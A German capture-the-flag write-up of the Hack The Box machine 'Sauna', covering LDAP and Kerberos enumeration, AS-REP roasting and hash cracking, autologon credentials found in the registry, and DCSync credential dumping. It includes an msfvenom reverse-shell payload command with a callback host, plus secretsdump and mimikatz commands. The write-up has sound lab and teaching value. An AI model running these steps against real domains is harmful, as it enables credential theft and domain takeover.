HTB – Sauna
Sauna war meine erste Windows Hack the Box und somit musste ich viel nachlesen und hab viel über LDAP und Kerberos gelernt.
Bei Sauna geht es darum, dass man, neben einer Website, eine Menge offener Ports findet und sich somit erstmal einen Überblick verschaffen muss, was relevant ist und was nicht. Ich musste bei der Box einiges ausprobieren bis ich den „foothold“ gefunden habe.
Nachdem man über die Website einige Usernamen bekommt, kann über den Kerberos Dienst schauen, welche Usernamen auf dem System verfügbar sind. Über eine Fehlkonfiguration bekommt man ein Kerberos Authentifizierungs-Ticket über welches man das Passwort des Users cracken kann. Auf dem System findet man in der Registry einen weiteren User, welcher einer spezielle Domänen Gruppe angehört. Über das ausnutzen der Domänen Replikation bekommt man anschließend alle User und deren NTLM Hashes. Das erstellen eines „Golden Tickets“ ist optional natürlich möglich jedoch nicht zwingend notwendig.
Scan
Ich fange mit dem typischen Scan an.
Wie angekündigt, finden wir einige offene Ports, ein weiterer Scan (nach allen Ports)
nmap -p- 10.10.10.175
zeigt eine Reihe weitere Ports an, gegen welche ich nochmal den Script- und Version-Scan laufen lasse
Nmap 7.80 scan initiated Tue Mar 24 22:35:50 2020 as: nmap -sV -sC -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49667,49673,49674,49675,49686,58458 -oA targetPorts 10.10.10.175 Nmap scan report for EGOTISTICAL-BANK.LOCAL0 (10.10.10.175) Host is up (0.047s latency). PORT STATE SERVICE VERSION 53/tcp open domain? | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Egotistical Bank :: Home 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-03-25 05:38:32Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 49667/tcp open msrpc Microsoft Windows RPC 49673/tcp open msrpc Microsoft Windows RPC 49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49675/tcp open msrpc Microsoft Windows RPC 49686/tcp open msrpc Microsoft Windows RPC 58458/tcp open msrpc Microsoft Windows RPC 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.80%I=7%D=3/24%Time=5E7A7D45%P=x86_64-pc-linux-gnu%r(DNSV SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\ SF:x04bind\0\0\x10\0\x03"); Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |clock-skew: 8h02m29s | smb2-security-mode: | 2.02: | Message signing enabled and required | smb2-time: | date: 2020-03-25T05:41:00 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done at Tue Mar 24 22:41:09 2020 -- 1 IP address (1 host up) scanned in 318.56 seconds
Vor allem die Ports
- 80 (IIS)
- 88 (Kerberos)
- 389 (LDAP)
- 445 (SMB)
- 5985 (winrm)
sind für uns interessant. Übrigens läuft der Server auch auf IPv6, ein Scan darüber hat aber keine unterscheide oder weitere Ports gebracht.
LDAP
Ich beginne mit der LDAP Enumeration
Nmap selbst hat ein paar ganz brauchbare Standard-Scripte um das entsprechende Root Verzeichnis vom LDAP auszulesen. Wenn man das Verzeichnis noch nicht kennt kann man über das Script ldap-search dieses herausbekommen
nmap -p 389 --script ldap-search 10.10.10.175
Da die Ausgabe recht lang ist, hab ich diese ein bisschen gekürzt.
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-28 19:53 CET
Nmap scan report for EGOTISTICAL-BANK.LOCAL0 (10.10.10.175)
Host is up (0.081s latency).
PORT STATE SERVICE
389/tcp open ldap
| ldap-search:
| Context: DC=EGOTISTICAL-BANK,DC=LOCAL
| dn: DC=EGOTISTICAL-BANK,DC=LOCAL
| dc: EGOTISTICAL-BANK
| dn: CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL
| dn: CN=Computers,DC=EGOTISTICAL-BANK,DC=LOCAL
| dn: OU=Domain Controllers,DC=EGOTISTICAL-BANK,DC=LOCAL
| dn: CN=System,DC=EGOTISTICAL-BANK,DC=LOCAL
| dn: CN=LostAndFound,DC=EGOTISTICAL-BANK,DC=LOCAL
| dn: CN=Infrastructure,DC=EGOTISTICAL-BANK,DC=LOCAL
| dn: CN=ForeignSecurityPrincipals,DC=EGOTISTICAL-BANK,DC=LOCAL
| dn: CN=Program Data,DC=EGOTISTICAL-BANK,DC=LOCAL
| dn: CN=NTDS Quotas,DC=EGOTISTICAL-BANK,DC=LOCAL
| dn: CN=Managed Service Accounts,DC=EGOTISTICAL-BANK,DC=LOCAL
| dn: CN=Keys,DC=EGOTISTICAL-BANK,DC=LOCAL
| dn: CN=TPM Devices,DC=EGOTISTICAL-BANK,DC=LOCAL
| dn: CN=Builtin,DC=EGOTISTICAL-BANK,DC=LOCAL
|_ dn: CN=Hugo Smith,DC=EGOTISTICAL-BANK,DC=LOCAL
Nmap done: 1 IP address (1 host up) scanned in 0.90 seconds
Das Script ldap-rootdse findet auch den defaultNamingContext und zeigt uns weitere Informationen an
nmap -p 389 --script ldap-rootdse 10.10.10.175
Auch hier hab ich die Ausgabe für die Lesbarkeit ein bisschen reduziert.
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-28 19:57 CET
Nmap scan report for EGOTISTICAL-BANK.LOCAL0 (10.10.10.175)
Host is up (0.15s latency).
PORT STATE SERVICE
389/tcp open ldap
| ldap-rootdse:
| LDAP Results
|
| domainFunctionality: 7
| forestFunctionality: 7
| domainControllerFunctionality: 7
| rootDomainNamingContext: DC=EGOTISTICAL-BANK,DC=LOCAL
| ldapServiceName: EGOTISTICAL-BANK.LOCAL:sauna$@EGOTISTICAL-BANK.LOCAL
CN=Aggregate,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
| serverName: CN=SAUNA,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
| schemaNamingContext: CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
| namingContexts: DC=EGOTISTICAL-BANK,DC=LOCAL
| namingContexts: CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
| namingContexts: CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
| namingContexts: DC=DomainDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
| namingContexts: DC=ForestDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
| isSynchronized: TRUE
| highestCommittedUSN: 53312
| dsServiceName: CN=NTDS Settings,CN=SAUNA,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
| dnsHostName: SAUNA.EGOTISTICAL-BANK.LOCAL
| defaultNamingContext: DC=EGOTISTICAL-BANK,DC=LOCAL
| currentTime: 20200329025940.0Z
|_ configurationNamingContext: CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
Service Info: Host: SAUNA; OS: Windows
Nmap done: 1 IP address (1 host up) scanned in 0.66 seconds
Alternativ kann man für einen ersten scan auch das Tool ldapsearch verwenden. Der Befehl (falls man den Root CN noch nicht kennt) lautet:
ldapsearch -h 10.10.10.175 -x -s base -b '' "(objectClass=*)" "*" +
Die Ausgabe kann man dann auch entsprechend nach „naming“ filtern und sich die nameContext Einträge ausgeben lassen.
ldapsearch -h 10.10.10.175 -x -s base -b '' "(objectClass=*)" "*" + | grep -i naming | sed '/s.*\(".*"\)/\1/' > nameContext cat nameContext | sed 's/namingContexts: //'
Anhand von diesen kann man anschließend weitere Suchen nach Usern oder Accounts durchführen
ldapsearch -h 10.10.10.175 -x -b "DC=EGOTISTICAL-BANK,DC=LOCAL" "(&(objectclass=user)(objectcategory=user)(servicePrincipalName=*))"
Oder man sucht direkt über alles nach Usern
ldapsearch -h 10.10.10.175 -x -s base -b '' "(&(objectclass=user)(objectcategory=user)(servicePrincipalName=*))" "*" +
Die Ausgaben bringen uns bei dieser Box leider nicht weiter, ohne Authentifizierung finden wir in der AD leider keine weiteren Nutzer. Wir finden zwar den Eintrag
CN=Hugo Smith,DC=EGOTISTICAL-BANK,DC=LOCAL
Dieser bringt uns aktuell aber auch erstmal nichts.
Zumindest kennen wir jetzt den FQDN und die Domäne.
dnsHostName: SAUNA.EGOTISTICAL-BANK.LOCAL
Was wir uns auch nochmal über crackmapexec ausgeben lassen können
Weiterführende Informationen über LDAP und wie man hier vor gehen kann hab ich am Ende vom Artikel zusammengefasst.
Kerberos
Kerberos bietet (neben SMB) eine einfache Möglichkeit herauszufinden ob ein User auf dem System vorhanden ist oder nicht.
Zuerst brauchen wir aber eine Liste an Usern welche wir prüfen wollen. Einige Hinweise gibt uns die Website welche unter Port 80 läuft. Unter „About Us“ finden wir die Namen des Teams.
http://10.10.10.175/about.html
Ich erstelle mir kurzerhand eine Liste mit den Namen in verschiedenen Formen und packe noch „sauna“ und den „Hugo Smith“ dazu, welchen wir in der AD gefunden haben.
fergus smith fsmith hugo hsmith sauna scolns colns shaun bear skerb steven kerb btaylor bowie taylor sdriver driver sophie
Die Liste speichere ich mir unter users.txt.
Über Kerberos hab ich zwei Möglichkeiten gefunden, zu prüfen ob ein User angelegt ist. Wichtig ist jeweils, dass die Domain bekannt ist.
Metasploit
Über das Modul kerberos_enumusers können wir prüfen ob ein User vorhanden ist
Interessante Feststellung und übersieht man bei einer kleinen Liste leicht, er findet zwar ein paar User aber bei dem User „fsmith“ läuft das Modul auf einen Fehler und beendet sich. D.h. er prüft nachfolgende Einträge nicht mehr.
NMAP
Auch nmap bringt ein Script mit um zu prüfen ob ein User in Kerberos vorhanden ist.
nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='EGOTISTICAL-BANK.LOCAL' 10.10.10.175
Gibt man keine eigene Userliste mit, prüft Nmap mit seiner eigenen Wordlist und findet zumindest schon mal den Administrator.
Das Script mit unser selber erstellten Userliste, bringt dann die gleichen Ergebnisse wie Metasploit
nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='EGOTISTICAL-BANK.LOCAL',userdb=users.txt 10.10.10.175
Interessant zu sehen, dass nmap bei fsmith keinen Fehler hat und diesen User normal erkennt. Trotzdem lohnt sich an dieser Stelle eine genauere Prüfung, immerhin muss der User sich ja von den anderen unterscheiden wenn bei diesem ein Fehler geworfen wird.
Ein Scan mit dem python Script GetNPUsers von Impacket zeigt uns den Grund.
GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -no-pass -dc-ip 10.10.10.175 -usersfile users.txt
Das Script fordert von dem Kerberos Dienst ein TGT an, welches für die Ausstellung weiterer (Service) Tickets (TGSs) benötigt wird. Das ganze funktioniert normalerweise jedoch nur wenn man sich am Kerberos Dienst dafür authentifiziert. Es gibt jedoch die Einstellung „Do not require Kerberos preauthentication“, falls diese gesetzt ist, wird das Ticket auch ohne Passwortabfrage ausgestellt. Genau das versucht das Script und ist bei dem User fsmith erfolgreich.
Wir bekommen das TGS Ticket, das interessante an daran ist, das die Daten dieses Tickets mit dem eigentlichen Passwort des Users fsmith verschlüsselt sind und wir diesen (Kerberos 5 AS-REP) Hash nun versuchen können zu cracken.
Da in allen HTB Szenarien wo es vorgesehen ist, dass man ein Passwort knacken muss, dieses auch mit hoher Sicherheit in der gängigen Wordlist „rock you“ enthalten ist haben wir erfolg und finden das Kennwort.
WinRM
Mit dem Usernamen und Passwort können wir uns jetzt über evil-winrm auf der Box anmelden und bekommen somit eine Shell
Mit den Anmeldedaten von fsmith fange ich an, anhand verschiedener Scripte nach weiteren Informationen zu suchen.
Das Tool nullinux.py führt eine Reihe von Tests gegen den SBM Port aus und versucht somit einige Informationen wie z.B. weitere Benutzer zu finden. Mit Erfolg wie man sieht.
Interessant ist u.a. der User krbtgt, denn dieser ist für die Kerberos Authentifizierung zuständig, dessen Kennwort wird in den meisten Fällen nicht geändert und ist somit ggf. mithilfe des Tools mimikatz auslesbar. Wenn wir das Kennwort von dem User hätten, könnten wir uns Anhand von diesem ein beliebiges (sogenanntes) „Golden Ticket“ ausstellen lassen.
Ein check zeigt, das Kennwort wurde tatsächlich noch nie geändert.
Folgende Möglichkeiten stehen zur Verfügung um an den Hash zu kommen.
Quelle: https://pentestlab.blog/tag/krbtgt/
Dazu kann mann noch die Möglichkeit über das Script secretsdump.py von Impacket dazu zählen, welches auch die DCSync Mehtode verwendet.
Leider klappt keine der Möglichkeiten: Auf das Verzeichnis NTDS haben wir keinen Zugriff, der LSASS Prozess lässt sich auch nicht Dumpen und der DCSync schlägt wegen fehlender Berechtigungen fehl.
Eine weitere Möglichkeit wäre über das Toolset DAMP, aber dafür bräuchten wir Berechtigungen in die Registry zu schreiben, welche uns leider auch fehlen.
Autologin
Ich begebe mich also weiter auf die Suche, in der Shell selbst lasse ich das Tool winPEAS.exe laufen, welches nach gängigen Sicherheitslücken ausschau hält und alle Möglichen Informationen sammelt. Und es findet tatsächlich einen interessanten Eintrag in der Registry.
Das Kennwort des Users svc_loanmanger, wir können den Eintrag aus der Registry auch manuell abfragen und sehen das Autologin Daten hinterlegt sind.
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"
Nun beginnt der für mich schwierigste Teil, herausfinden was der Unterschied zwischen dem User svc_loanmanger und fsmith ist, beide haben nach ersten vergleichen, die selben Berechtigungen.
Die Befehel net user <username> zeigt uns keinen Unterschied in den Gruppen.
Erst über das integrierte Tool DCACLS finden wir den Unterschied.
DSACLS "DC=EGOTISTICAL-BANK,DC=LOCAL"
Der svc_loanmgr hat also Berechtigungen auf die AD Replication zuzugreifen. Das erleichtert uns das ganze.
DCSync & Hashes
Mit den entsprechenden Berechtigungen, gibt es mehrere Möglichkeiten auf die Hashes zugreifen zu können. Ich beschreibe hier zwei.
Metersploit
Um eine Meterpreter Shell zu bekommen erzeugen wir uns einen entsprechenden Payload
/usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.36 LPORT=4444 -f exe -o payload.exe
Diesen laden wir per evil-winrm auf die Box hoch.
In Metersploit starten wir einen entsprechenden Listner
use exploit/multi/handler set lhost <ip> set lport <port> run
Und führen auf der Box die Payload.exe aus.
.\payload.exe
Mit der Meterpreter session können wir nun verschiedene Module laden und versuchen an den Hash zu kommen. Mit
bg
setzte ich die Session in den Hintergrund
Die normalen Windows Hash Module klappen nicht
Daher gehen wir mit
sessions -i 1
wieder zurück in die meterpreter session und laden das kiwi Modul
load kiwi
Anmerkung: man braucht das neuere mimikatz modul (kiwi) da es im alten das Modul dcsync noch nicht gibt.
mit
dcsync EGOTISTICALBANK\\Administrator
können wir uns jetzt von jedem vorhanden User den Hash ausgeben lassen.
Kleiner gegen check: mit eine Meterpreter Session unter dem User fsmith klappt der Befehl nicht
Secretsdump
Den Payload, Metsersploit, Meterpreter und Kiwi kann man sich aber sparen indem man einfach das bereits oben erwähnte Script secretsdump.py von Impacket verwendet.
secretdump.py 'svc_loanmgr:Password'@10.10.10.175 -just-dc-ntlm
Nachdem wir hierüber alle Hashes bekommen könnten wir uns über den krbtgt Hash ein Kerberos Ticket erstellen, alternativ und einfacher ist es sich einfach über den Hash des Admins und psexec eine Shell aufzurufen.
Somit sind wir als System User angemeldet.
Auf dem Deskstop vom Administrator finden wir dann auch die root.txt
Weiterführende Infos
Hier noch einige sehr lesenswerte und interessante Links zu den Themen AD, LDAP und Kerberos
- Payload All The Things – Active Directory Attacks
- Enumerating AD infrastructure
- Kerberos and Windows Security
- Kerberoast Tool & Erklärung
- Golden Ticket
- Mimikatz and Active Directory Kerberos Attacks
- Kerberos & KRBTGT: Active Directory’s Domain Kerberos Service Account
- Mimikatz Wiki
- HTB Active Write-Up
- Impacket
- Remote Hash Extraction On Demand Via Host Security Descriptor Modification (DAMP)